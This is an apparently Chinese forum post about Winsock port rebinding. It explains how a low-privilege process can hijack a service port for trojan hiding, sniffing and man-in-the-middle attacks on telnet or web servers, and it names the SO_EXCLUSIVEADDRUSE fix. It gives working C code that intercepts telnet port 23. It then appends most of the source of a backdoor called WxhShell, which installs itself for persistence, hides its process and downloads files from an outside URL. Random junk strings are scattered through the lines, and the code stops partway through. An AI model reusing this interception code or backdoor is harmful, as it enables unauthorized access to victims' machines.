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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v67utISNI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *=yUs'brB  
Z\1*g k  
  saddr.sin_family = AF_INET; *\gS 2[S  
Q4~/Tl;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sGBm[lplz  
{TmrWFo  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4c})LAwd&  
4?eO1=a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JXT%@w>I  
=`&7pYd,  
  这意味着什么?意味着可以进行如下的攻击: /Kw}R5l  
FCr^D$_w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L>trLD1pt  
3EY>XS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v8{ jEAK  
eT!*_.' e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v d{`*|x  
<R;t>~8x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S*aMUV&  
aLo^f= S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 DfPC@` k  
s (2/]f$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~8oti4  
~]w|ULNa3|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K3Sa6"U  
o$4i{BL  
  #include MbT;]Bo  
  #include rd )_*{  
  #include T'W@fif  
  #include    !^Ly#$-X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o[A y2"e?  
  int main() "VIoV u  
  { $ [t7&e  
  WORD wVersionRequested; a1 Kh  
  DWORD ret; /W|=Or2oR  
  WSADATA wsaData; mJ #|~I*Z-  
  BOOL val; /%9Ge AAs  
  SOCKADDR_IN saddr; -%G}T}"_  
  SOCKADDR_IN scaddr; uY_vX\;67z  
  int err; qN=l$_UD  
  SOCKET s; HxAN&g *:  
  SOCKET sc; #^>Md59N  
  int caddsize; Yk^clCB{A(  
  HANDLE mt; pzcl@  
  DWORD tid;   %U uVD  
  wVersionRequested = MAKEWORD( 2, 2 ); \@8.BCWK  
  err = WSAStartup( wVersionRequested, &wsaData ); E2nsBP=5C  
  if ( err != 0 ) { `w(~[`F t  
  printf("error!WSAStartup failed!\n"); m~f J_  
  return -1; au;ZAXM|  
  } Ovhd%qV;Y  
  saddr.sin_family = AF_INET; T?4I\SG  
   e[($rsx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h>:eu#  
`zP{E T_Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); } \?]uNH  
  saddr.sin_port = htons(23); B)`@E4i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2mt S\bAF  
  { }od5kK;  
  printf("error!socket failed!\n"); X+%5q =N  
  return -1; l h]Q\  
  } wfMtWXd;KB  
  val = TRUE; i.5?b/l0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1 k\~%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (/[wM>q:r  
  { &_o.:SL|  
  printf("error!setsockopt failed!\n"); ?.~hex#M@  
  return -1;  KB5<)[bs  
  } 7i##g,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -L6V)aK&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6V&HlJH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w7e+~8|  
]w5j?h"b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !?aL_{7J  
  { JBMJR  
  ret=GetLastError(); gNaB^IY  
  printf("error!bind failed!\n"); 2_C&p6VGj  
  return -1; G9AQIU%ii  
  } Mrly(*!U"@  
  listen(s,2); %4I13|<A`  
  while(1) !)//b]  
  { wqE+hKs,  
  caddsize = sizeof(scaddr); zy\R>4i'#Q  
  //接受连接请求 slH3c:j\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %|o2d&i  
  if(sc!=INVALID_SOCKET) ,1ceNF#oL  
  { m[$pj~<\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @A1Ohl  
  if(mt==NULL) %^LwLyoVM  
  { eZv G  
  printf("Thread Creat Failed!\n"); gbr-C  
  break; P~9y}7Q\0  
  } LQDU8[-  
  } \ ~uY);  
  CloseHandle(mt); Q$:>yveR*  
  } BWev(SF{Ny  
  closesocket(s); q6AL}9]9  
  WSACleanup(); "]kq,j^]  
  return 0; 4&}dA^F  
  }   0~=>:^H'`q  
  DWORD WINAPI ClientThread(LPVOID lpParam) sV$Zf `X)  
  { Sc,a jT  
  SOCKET ss = (SOCKET)lpParam; 1 R,?kUa  
  SOCKET sc; x2$Y"b?vz  
  unsigned char buf[4096]; up )JU [  
  SOCKADDR_IN saddr; nmy!.0SQ-  
  long num; g?> V4WF  
  DWORD val; PsOu:`=r  
  DWORD ret; ;pVnBi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WX}pBmU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DUlvlQW  
  saddr.sin_family = AF_INET; =BVBCh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); } U_z XuUz  
  saddr.sin_port = htons(23); NKRI|'Y,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AEO7I f@  
  { $G D@e0  
  printf("error!socket failed!\n"); du_TiI  
  return -1; &A)u!l Ue  
  } )Bpvi4O  
  val = 100; ?8TIPz J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OiJz?G:m  
  { f;cY&GC  
  ret = GetLastError(); c7f11N!v>b  
  return -1; ]Z=O+7(r  
  } ! ~3zp L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "S^ ""5  
  { g$9EI\a  
  ret = GetLastError(); %Z!3[.%F  
  return -1; bO6LBSZx]  
  } bY!1t}ALh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uj^l&"  
  { 6  5>}Q.p  
  printf("error!socket connect failed!\n"); lm\~_ 4l1  
  closesocket(sc); a@s@E  
  closesocket(ss); ||o :A  
  return -1; D{G~7P\.  
  } zA%$l&QN]  
  while(1) "fZWAGDBO\  
  { `R@b`3*%v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aZB$%#'vR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o@ W:PmKW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T.GB *  
  num = recv(ss,buf,4096,0); AH'4k(-  
  if(num>0) fUa[3)I  
  send(sc,buf,num,0); 4elA<<  
  else if(num==0) Jx3fS2  
  break; ! w2BD^V-  
  num = recv(sc,buf,4096,0); MVXy)9q  
  if(num>0) v|@1W Uc,g  
  send(ss,buf,num,0); N5jJ,iz  
  else if(num==0) tVqc!][   
  break; m$WN"kV`,9  
  } U?&&yynK  
  closesocket(ss); 84jA)  
  closesocket(sc); .u\xA7X  
  return 0 ; Q@5v> `  
  } i2 7KuPjC  
P^J#;{R  
D+('1E?  
========================================================== c!Wj^  
_t.Ub:  
下边附上一个代码,,WXhSHELL M~LYq  
JLu>w:\  
========================================================== %h "%G=:  
Y2>0Y3yM  
#include "stdafx.h" e%EE|  
IZ 3e:  
#include <stdio.h> zelM}/d  
#include <string.h> ;|AyP  
#include <windows.h> B~7]x;8h  
#include <winsock2.h> WeE1 \  
#include <winsvc.h> X\HP&;Wd  
#include <urlmon.h> M.0N`NmS  
SPo}!&p$~  
#pragma comment (lib, "Ws2_32.lib") P2=u-{?~  
#pragma comment (lib, "urlmon.lib") 6y   
cC7&]2X +f  
#define MAX_USER   100 // 最大客户端连接数 w i=&W  
#define BUF_SOCK   200 // sock buffer 1qd(3A41  
#define KEY_BUFF   255 // 输入 buffer G[ gfD\  
Zt"3g6S  
#define REBOOT     0   // 重启 YT\.${N  
#define SHUTDOWN   1   // 关机 r"W,G /;h  
aa,^+^J  
#define DEF_PORT   5000 // 监听端口 dO|n[/qL0  
|nT+ W| 0U  
#define REG_LEN     16   // 注册表键长度 #1<Jwt+  
#define SVC_LEN     80   // NT服务名长度 IfzZ\x .  
-cs$E2 -  
// 从dll定义API D,&o=EU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zg/ ],/`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z%44@TP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Dio9'&DtC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X}G3>HcP  
,<O|Iis  
// wxhshell配置信息 K~Z$NS^W&  
struct WSCFG { ;b;Bl:%?  
  int ws_port;         // 监听端口 Zil<*(kv{  
  char ws_passstr[REG_LEN]; // 口令 J[jzkzSu`  
  int ws_autoins;       // 安装标记, 1=yes 0=no #Pe|}!)u  
  char ws_regname[REG_LEN]; // 注册表键名 I.hy"y2&  
  char ws_svcname[REG_LEN]; // 服务名 }CB9H$FkCY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |P(8T'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j5V{,lf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WdJJt2'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r>Cv@4/j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]D&\|,,(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bPUldkB:  
Ys+NIV#Q  
}; gN5;Uk  
 #[yZP9  
// default Wxhshell configuration =L&dV]'4P  
struct WSCFG wscfg={DEF_PORT, 9 gWqs'  
    "xuhuanlingzhe", 5[|ZceY  
    1, 'NSfGC%7R  
    "Wxhshell", &9Xn:<"`)  
    "Wxhshell", t2RL|$>F1  
            "WxhShell Service", hd~0qK  
    "Wrsky Windows CmdShell Service", bguTWI8bk  
    "Please Input Your Password: ", f/UIpswrZ'  
  1, F@rx/3 [  
  "http://www.wrsky.com/wxhshell.exe", $J!WuOz4^i  
  "Wxhshell.exe" lOu&4Kq{g  
    }; [VY265)g  
!1[ZfTX^a  
// 消息定义模块 U}^`R,C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -AZ\u\xCB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `*w!S8}m;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *r].EBJ\  
char *msg_ws_ext="\n\rExit."; :?f^D,w_B  
char *msg_ws_end="\n\rQuit."; )2: ,E  
char *msg_ws_boot="\n\rReboot..."; 4v;KtD;M  
char *msg_ws_poff="\n\rShutdown..."; ]Pf!wv  
char *msg_ws_down="\n\rSave to "; iKA}??5e  
Z@6xu;O  
char *msg_ws_err="\n\rErr!"; E<r<ObeRv`  
char *msg_ws_ok="\n\rOK!"; UthM?g^  
KU 98"b5  
char ExeFile[MAX_PATH]; ZfnJ&H'  
int nUser = 0; {q.|UCg[L  
HANDLE handles[MAX_USER]; 3%YDsd vQx  
int OsIsNt; 6h{>U*N"&d  
gX;)A|9e  
SERVICE_STATUS       serviceStatus; 8&c:73=?X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; buA/G-<e  
IyoitIbLl  
// 函数声明 "mB /"  
int Install(void); y!/:1BHlm  
int Uninstall(void); Q+; N(\  
int DownloadFile(char *sURL, SOCKET wsh); d~z%kl 5:  
int Boot(int flag); |)+45e  
void HideProc(void); *Z2#U ?_  
int GetOsVer(void); @H61^K<  
int Wxhshell(SOCKET wsl); CM4#Nn=i~  
void TalkWithClient(void *cs); OTD<3Q q  
int CmdShell(SOCKET sock); Eu`K2_b  
int StartFromService(void); Q(/F7 "m  
int StartWxhshell(LPSTR lpCmdLine); uy8mhB+]  
sjG@4Or  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ASUL g{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )}i|)^J  
A0 $ds  
// 数据结构和表定义 )Ag{S[yZ  
SERVICE_TABLE_ENTRY DispatchTable[] = _l=X?/  
{ a 3C\?5  
{wscfg.ws_svcname, NTServiceMain}, ,nSapmg  
{NULL, NULL} h]DzX8r}  
}; ]+d> ;$O  
=PYS5\k  
// 自我安装 tb;u%{S  
int Install(void) <~n%=^knE  
{ DvY)n<U1qA  
  char svExeFile[MAX_PATH]; 1)J' pDa  
  HKEY key; s7s@!~  
  strcpy(svExeFile,ExeFile); u+qj_Ej  
U[ |o!2$  
// 如果是win9x系统,修改注册表设为自启动 Tzr'3m_  
if(!OsIsNt) { 2 sK\.yS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S#N4!"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D| g{]nO  
  RegCloseKey(key); C^7M>i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pReSvF}}C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xP $\ }  
  RegCloseKey(key); $Go)Zs-bL?  
  return 0; q@XxCP]  
    } 7',WLuD  
  } 4q*mEV  
} Ue(\-b\)  
else {  >f*Zf(F  
.4XX )f5  
// 如果是NT以上系统,安装为系统服务 VvTi>2(.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hE;BT>_dn  
if (schSCManager!=0) "=!sZO?3  
{ La r9}nx0  
  SC_HANDLE schService = CreateService v)<|@TD)  
  ( 6-QcHJ>m6U  
  schSCManager, |Q$9I#rv  
  wscfg.ws_svcname, 3c[]P2Bh  
  wscfg.ws_svcdisp, ~2[mZias  
  SERVICE_ALL_ACCESS, G<Y}QhFU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,tak{["  
  SERVICE_AUTO_START, h@fF`  
  SERVICE_ERROR_NORMAL, qkBCI,X_Y  
  svExeFile, ;&$f~P Q  
  NULL, ;nAI;Qw L  
  NULL, PLRMW 2  
  NULL, k1~? }+<e  
  NULL, Zw_'u=r >  
  NULL sE!$3|Q  
  ); 70.Tm#qh  
  if (schService!=0) c+501's  
  { r*{`_G=1  
  CloseServiceHandle(schService); 8dwKJ3*.  
  CloseServiceHandle(schSCManager); YR u#JYti  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aV#phP  
  strcat(svExeFile,wscfg.ws_svcname); sPvjJr"s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dz1kQzOU*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O3tw@ &k  
  RegCloseKey(key); fPq)Lx1'  
  return 0; N)4R.}  
    } iJS7g  
  } Iqq BUH  
  CloseServiceHandle(schSCManager); xM![  
} ^/~C\ (  
} rDv`E^\  
5A+r^xN  
return 1; `o?PLE;)p  
} Rw)=<XV)6  
v(p<88.!m  
// 自我卸载 =s&ycc;-5}  
int Uninstall(void) p{AX"|QM"  
{ P4fnBH4OQ  
  HKEY key; '<xV]k|v  
+#9 4 X)*  
if(!OsIsNt) { C(kL=WD   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  rp=Y }  
  RegDeleteValue(key,wscfg.ws_regname); f /t`B^}@  
  RegCloseKey(key); |IDZMd0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h)Ol1[y`  
  RegDeleteValue(key,wscfg.ws_regname); (Ta(Y=!uq  
  RegCloseKey(key); hG >kx8h  
  return 0; sQn@:Gk  
  } u{S"NEc  
} 1vdG \$  
} } ^2'@y!(  
else { N v6=[_D  
~l]g4iEp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (XEJd4r  
if (schSCManager!=0) Z=oGyA  
{ ]q/USVj{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WZ=$c]gG  
  if (schService!=0) *W2o$_Hs  
  { z fu)X!t^  
  if(DeleteService(schService)!=0) { Z9eP(ip  
  CloseServiceHandle(schService); E6zPN?\ <  
  CloseServiceHandle(schSCManager); q@1xYz:J  
  return 0; FM7`q7d  
  } iXL?ic  
  CloseServiceHandle(schService); Hyi'z1  
  } +[}<u--  
  CloseServiceHandle(schSCManager); %e:[[yq)G  
} HSVl$66  
} *,28@_EwY  
\2CEEs'  
return 1; !|8"}ZF  
} ;9LOeH?  
[S9"' ^H  
// 从指定url下载文件 g.\%jDM  
int DownloadFile(char *sURL, SOCKET wsh) 'mZQ}U=<  
{ 28vQ  
  HRESULT hr; "28zLo3  
char seps[]= "/"; {C0Y8:"`  
char *token; sKk+^.K}|  
char *file; v-wZHkdd1  
char myURL[MAX_PATH]; p(nEcu  
char myFILE[MAX_PATH]; Hbn78,~ .  
$hMD6<e  
strcpy(myURL,sURL); d{"@<0i?  
  token=strtok(myURL,seps); |a %Wd  
  while(token!=NULL) ~/XDA:nfL:  
  { Tgh?=]H  
    file=token; lB.n5G  
  token=strtok(NULL,seps); S&QXf<v  
  } ]LEaoOecu  
nLx|$=W  
GetCurrentDirectory(MAX_PATH,myFILE); 0Ua=&;/2  
strcat(myFILE, "\\"); *F!1xyg  
strcat(myFILE, file); ,RW`9+gx  
  send(wsh,myFILE,strlen(myFILE),0); 4-I7"pW5  
send(wsh,"...",3,0); ".2d{B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *f_A :`:  
  if(hr==S_OK) 7iyx_gyo  
return 0; VJ?>o  
else +bT[lJ2O>G  
return 1; X?XB!D7[  
K)5j  
} aNA ]hl  
,HI% ym  
// 系统电源模块 Io[NN aF|  
int Boot(int flag) \BN$WV  
{ { {:Fs  
  HANDLE hToken; %ZX9YuXQ  
  TOKEN_PRIVILEGES tkp; :(wFNK/0{  
k1ja ([Q  
  if(OsIsNt) { FBbaLqgVF{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~Z!YB,)bp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n$v4$_qS  
    tkp.PrivilegeCount = 1; `- (<Q;iO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WIuYSt)h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  g[bu9i  
if(flag==REBOOT) { :Z x|=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bE{Y K  
  return 0; T]nAz<l),  
} >239SyC-,  
else { boHbiE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) paLPC&G  
  return 0; W6_ rSVm  
}  !Q*w]  
  } xVgm 9s$"c  
  else { Y}: 4y$<  
if(flag==REBOOT) { P+=m.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A^#\=ZBg1  
  return 0; ;8dffsyq  
} ?c+$9  
else { *8po0s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >]_^iD]*t  
  return 0; *HUXvX|-%  
} w%8y5v5  
} qDYNY`  
1U/RMN3`  
return 1; )RT?/NW  
} ([}08OW@  
l#%7BGwzY  
// win9x进程隐藏模块 'O\ y7"a  
void HideProc(void) ^i_+ugJX  
{ W`NF40)  
<oV[[wl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i q oXku  
  if ( hKernel != NULL ) bX,#z,  
  { (CY D]n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +:4>4=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3ce$eZE  
    FreeLibrary(hKernel); =QGmJ3  
  } x^EW'-a  
@!u{>!~0  
return; +L`}(yLJ)9  
} I:G8B5{J  
{-8Nq`w  
// 获取操作系统版本 cz{`'VN}`  
int GetOsVer(void) {\CWoFht>  
{ 0c`nk\vUy  
  OSVERSIONINFO winfo; c)B3g.C4m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6h2keyod  
  GetVersionEx(&winfo); V7r_Ubg@K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JJ%@m;~  
  return 1; CbC [aVA=  
  else >}%#s`3W1_  
  return 0; AvB=/p@]  
} IZ7o6Etti  
_ +NjfF|  
// 客户端句柄模块 [l3\0e6-/  
int Wxhshell(SOCKET wsl) 7QNx*8p  
{ X%j`rQk`  
  SOCKET wsh; @j_o CDS  
  struct sockaddr_in client; h7^&:  
  DWORD myID; U|V,&RlbR  
l`ZL^uT  
  while(nUser<MAX_USER) .P aDR |!  
{ mL2J  
  int nSize=sizeof(client); \)rMC]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jwa6`u  
  if(wsh==INVALID_SOCKET) return 1; s_XCKhN:  
`Wg"m~l$N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _,)_(R ,h  
if(handles[nUser]==0) E+qLj|IU  
  closesocket(wsh); lZL+j6Q  
else 1W{oj  
  nUser++; J8p;1-C"  
  } n]`]gLF\i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [n)ak)_/  
cx$h"  
  return 0; ix2i.wdD  
} }P0bNY5?%  
7@\.()  
// 关闭 socket "Zh,;)hS  
void CloseIt(SOCKET wsh) L"vrX  
{ _ia&|#n  
closesocket(wsh); Gd_0FF.  
nUser--; ,v K%e>e&  
ExitThread(0); {VW\EOPV~  
} L6PgWc;m  
m~AAO{\:b  
// 客户端请求句柄 V [g^R*b  
void TalkWithClient(void *cs) j8p<HE51  
{ i0K 2#}=^  
P dqvXc  
  SOCKET wsh=(SOCKET)cs; ?Y3i-jY  
  char pwd[SVC_LEN]; Zf3(! a[  
  char cmd[KEY_BUFF]; Ig}hap]G  
char chr[1]; 5=I({=/>  
int i,j; e'A_4;~@s  
BInSS*L  
  while (nUser < MAX_USER) { Lv['/!DJ|  
dN3^PK  
if(wscfg.ws_passstr) { RU7+$Z0K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q"<=^vi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t3Gy *B  
  //ZeroMemory(pwd,KEY_BUFF); Os-Z_zSl6  
      i=0; T&dNjx  
  while(i<SVC_LEN) { EQ,`6UT>  
_>\33V-?b  
  // 设置超时 ElUFne=  
  fd_set FdRead; qsW&kW~  
  struct timeval TimeOut;  ~d eS*  
  FD_ZERO(&FdRead); syW[uXNLZ  
  FD_SET(wsh,&FdRead); x5uz$g  
  TimeOut.tv_sec=8; X^N6s"2  
  TimeOut.tv_usec=0; J FnE{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ocWl]h].  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a<q9~QS  
,--#3+]XU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y EfAa6  
  pwd=chr[0]; s(3u\#P  
  if(chr[0]==0xd || chr[0]==0xa) { m_oUl(pk  
  pwd=0; _Sfu8k>):  
  break; /C Xg$%\  
  } -LRx}Mb9  
  i++; ,.p 36ZLP  
    } Ve%ua]qA  
U<0Wa>3zj  
  // 如果是非法用户,关闭 socket 8(Te^] v#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xaVX@ 3r.3  
} Kt*fQ `9  
/ ^d9At614  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^6kl4:{idE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <M1*gz   
_lkVT']  
while(1) { g4=1['wW  
t;VMtIW+E  
  ZeroMemory(cmd,KEY_BUFF); c=\_[G(  
wi7Br&bGi  
      // 自动支持客户端 telnet标准   *W\3cS  
  j=0; {AD-p!6G  
  while(j<KEY_BUFF) { 2[`n<R\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y4jiOhF<d  
  cmd[j]=chr[0]; 0vfMJzk  
  if(chr[0]==0xa || chr[0]==0xd) { W`9{RZ'  
  cmd[j]=0; ,dQ*0XO!  
  break; ,= ApnNUgX  
  } 1q!k#Cliu  
  j++; 1$03:ve1  
    } J' P:SC1  
C('D]u$Hdk  
  // 下载文件 &%j`WF4p  
  if(strstr(cmd,"http://")) { _0rt.NRD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qzxWv5UH  
  if(DownloadFile(cmd,wsh)) 6jc5B#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b}Gm{;s!  
  else L]z8'n,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YT!iI   
  } @-S7)h>~  
  else { 9)vU/fJ|  
jc_k\  
    switch(cmd[0]) { /r'Fq =z  
  >$rH,Er  
  // 帮助 }w35fG^  
  case '?': { _@XueNU1hS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )?SFIQ=  
    break; q!0HsF  
  } ;hq_}.  
  // 安装 ? 3fnt"  
  case 'i': { Zj]tiN f\"  
    if(Install()) 2*w`l|Sx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); npkT>dB+  
    else :!Q(v(M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JJ)  
    break; VO:  
    } jG `PyIgw  
  // 卸载 dLH@,EKl)  
  case 'r': { GPh;r7xg6  
    if(Uninstall()) ]SA/KV   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h='&^1  
    else "" ^n^$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /7S g/d%c  
    break; U~yPQ8jD  
    } 5g-1pzP9  
  // 显示 wxhshell 所在路径 ],!}&#|  
  case 'p': { 3t9+YdNKU  
    char svExeFile[MAX_PATH]; *y<eK0  
    strcpy(svExeFile,"\n\r"); <ndY6n3  
      strcat(svExeFile,ExeFile); J)Yz@0#T(;  
        send(wsh,svExeFile,strlen(svExeFile),0); Hfj.8$   
    break; nt>3i! l  
    } /!Ag/SmS!9  
  // 重启 P|ibUxSA~,  
  case 'b': { J3aom,$o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }KUK|p5  
    if(Boot(REBOOT)) /V+7:WDj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6bj77CoB  
    else { fI;nVRf p  
    closesocket(wsh); aj1g9 y  
    ExitThread(0); <e 9d5-2  
    } )!AH0p  
    break; 6W YVHG  
    } Z"Lr5'}  
  // 关机 4s|qxCks  
  case 'd': { \anOOn@  
